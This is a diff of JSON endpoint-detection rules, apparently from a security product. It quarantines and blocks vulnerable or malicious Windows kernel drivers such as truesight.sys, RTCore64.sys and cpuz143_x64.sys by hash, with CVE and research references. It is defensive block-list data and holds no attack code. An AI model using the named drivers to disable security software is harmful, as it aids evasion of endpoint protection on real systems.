+  "id": "2f4a6408-4fdd-5225-8de4-b1928710e84c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832730Z",
+  "creation_date": "2026-03-23T11:45:30.832732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0191860d2680f25783f5a383bdb4d31727e4d25761ccc506655c4f4f30b69228",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f4cb198-2d97-5bde-95a3-ca20486cca49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144072Z",
+  "creation_date": "2026-03-23T11:45:31.144074Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144080Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05cce97384d67bdd1f52138ba5a3755ccae99652d7b6c464c38feacc6729d5d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f605f93-1e4d-5d13-befe-38f0a03f7da2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605735Z",
+  "creation_date": "2026-03-23T11:45:29.605737Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605742Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "033c98b9b05a33b5c5c4e2f358c38f5f6447d9dc2f9d622fdb9295d85d2a29bc",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f635675-3c68-57b5-a363-13e94cb7c611",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981437Z",
+  "creation_date": "2026-03-23T11:45:29.981439Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981444Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a19fc837ca342d2db43ee8ad7290df48a1b8b85996c58a19ca3530101862a804",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f774cb2-0bcf-5172-a670-8a7fa389d269",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622385Z",
+  "creation_date": "2026-03-23T11:45:29.622387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622392Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4c154a0073bbad3c9f8ab7218e9b3be252ae705c20c568861dae4088f17ffcc",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f80f313-a112-51df-a7fc-cbd00c58d3b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460294Z",
+  "creation_date": "2026-03-23T11:45:30.460297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460306Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fded693528f7e6ac1af253e0bd2726607308fdaa904f1e7242ed44e1c0b29ae8",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f8d7fc4-2d78-51e9-b20e-4cc04fda9400",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481061Z",
+  "creation_date": "2026-03-23T11:45:30.481063Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481069Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fbfd7c4ea3db1197ad38d5a945acf6f2f42cb350380cf8ae276bc80b0dedb77",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2f9cab69-94fc-590f-a769-2fa2b3fd0953",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815822Z",
+  "creation_date": "2026-03-23T11:45:30.815824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32bd0edb9daa60175b1dc054f30e28e8dbfa293a32e6c86bfd06bc046eaa2f9e",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fad6ddb-0739-5bfe-9d90-5ed6df9e856e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141468Z",
+  "creation_date": "2026-03-23T11:45:31.141470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141476Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea623a572ab20d2639ae1555a20d1183b37fe8c19e909a165f63dd6e8f8c6f4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fbf3e25-f6ff-5949-8d31-c95f5108e3f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611291Z",
+  "creation_date": "2026-03-23T11:45:29.611292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e650b4e4b5a95cba582b9749cac4c40e67e854d78eb8494f46f6d11f1fcea4d6",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fc5fc97-2820-59f8-8b0d-8b60e4dad93a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471771Z",
+  "creation_date": "2026-03-23T11:45:30.471774Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471783Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3813c1aab1760acb963bcc10d6ea3fddc2976b9e291710756408de392bc9e5d5",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fcc7554-d6ac-5348-94da-2583db967876",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143077Z",
+  "creation_date": "2026-03-23T11:45:32.143079Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143085Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d23f28169d6e5c09a89e5136a4ff899a3b6f886535bb0254a27dd00a2753c412",
+  "comment": "Vulnerable Kernel Driver (aka msr.sys) [https://www.loldrivers.io/drivers/ee6fa2de-d388-416c-862d-24385c152fad/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fd08b47-80b8-5cc5-9ea5-130a473f6820",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495671Z",
+  "creation_date": "2026-03-23T11:45:31.495673Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495678Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0bb9c31c9e971e9fd6b4854ce94078ac55b4cf8e4527ecdb5bfba6ef46d6d778",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fd5c952-1d62-5b9e-b55c-fe0053e50f00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457366Z",
+  "creation_date": "2026-03-23T11:45:30.457369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457377Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6a53d4cf39b4b0b5069359d0a3b32eb1aa7b56c427487c9f838eb279c6a90d1",
+  "comment": "Malicious Kernel Driver (aka 4748696211bd56c2d93c21cab91e82a5.sys) [https://www.loldrivers.io/drivers/2d6c1da6-17e2-4385-ad93-1430f83bde83/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fd79d01-4916-5629-b28b-49a2c4a1713c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607053Z",
+  "creation_date": "2026-03-23T11:45:29.607056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607061Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c2d8e8487de5e7749f9899f6fefa6e7d40b394479449b5027a895392af23349",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fdb3b05-ffc2-5e28-9b3f-f91d49368be4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813588Z",
+  "creation_date": "2026-03-23T11:45:31.813591Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813600Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0d8392881ea337e127c4575edfc882335d810eb6d4cf1055bcb8d0289d38730",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fe65d51-0211-519d-88d3-a81689ff9dc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985796Z",
+  "creation_date": "2026-03-23T11:45:29.985798Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985803Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0399dd3c395f84cbd6ac2e3e8ca8ee344a0f699b17db0624f936ae4bb4b7953",
+  "comment": "Malicious Kernel Driver (aka wfshbr64.sys) [CVE-2022-42046] [https://github.com/kkent030315/CVE-2022-42046] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2fed0ec5-e714-5669-8d94-0c28cf1d73b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148399Z",
+  "creation_date": "2026-03-23T11:45:31.148401Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148406Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a557758ab1235961be0cdd324f746bc38b75cf9b8873b4c30d24152c03fe8b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2ff1235f-4f14-5960-87fb-e478c0a98bea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144340Z",
+  "creation_date": "2026-03-23T11:45:31.144342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144347Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2eb7904ecdbc96a8ea155c0f4d562753e65fc181f14179857cc32c9d9cc5f457",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3001c0f1-06e7-54b5-96e2-2b99bd9896d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145827Z",
+  "creation_date": "2026-03-23T11:45:32.145828Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "79d48dd02d288dc1788ab3615e6de3c01e575abd19b27434c0f3f557db43592c",
+  "comment": "Malicious Kernel Driver (aka driver_82d928c5.sys) [https://www.loldrivers.io/drivers/af8ef3c0-8686-4112-992b-86587a4a9060/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3007066e-9172-540a-b8ff-2615432c6898",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144744Z",
+  "creation_date": "2026-03-23T11:45:32.144766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49373ea79d942e82873583a6515950acc04c578e75720593383ffb7ba4a28f3b",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "30158fc4-f82c-5215-8746-b8dad77ac989",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479668Z",
+  "creation_date": "2026-03-23T11:45:30.479670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e238d351e16d4909ca394f1db0326a60d33c9ac7b4d78aefcf17a6d9cc72be9",
+  "comment": "Vulnerable Kernel Driver (aka amifldrv64.sys) [https://www.loldrivers.io/drivers/a5eb98bf-2133-46e8-848f-a299ea0ddefa/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "301735eb-d0c2-55d8-8338-4c5f51f2503e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
